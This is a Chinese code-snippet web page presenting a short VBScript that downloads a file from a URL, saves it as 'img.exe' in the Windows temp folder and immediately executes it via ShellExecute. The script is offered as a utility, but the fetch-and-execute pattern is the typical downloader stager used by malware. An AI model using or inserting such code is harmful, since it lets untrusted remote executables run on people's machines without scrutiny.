当前位置: 移动技术网 > IT编程>脚本编程>VBScript > 下载文件到本地运行的vbs

下载文件到本地运行的vbs

2017年12月12日  | 移动技术网IT编程  | 我要评论
复制代码 代码如下:

'on error resume next
dl = //www.jb51.net/index.htm '这是要下载的文件的路径
str="microsoft.xmlhttp"
set x = createobject(str)
set x = createobject(str)
set s = createobject("adodb.stream")
s.type = 1
x.open "get", dl, false
x.send()
fname1="img.exe"
set f = createobject("scripting.filesystemobject")
set tmp = f.getspecialfolder(2) '缓存
fname1= f.buildpath(tmp,fname1)
s.open
s.write x.responsebody
s.savetofile fname1,2
msgbox fname1
s.close
set q = createobject("shell.application")
q.shellexecute fname1

如对本文有疑问, 点击进行留言回复!!

相关文章:

验证码:
移动技术网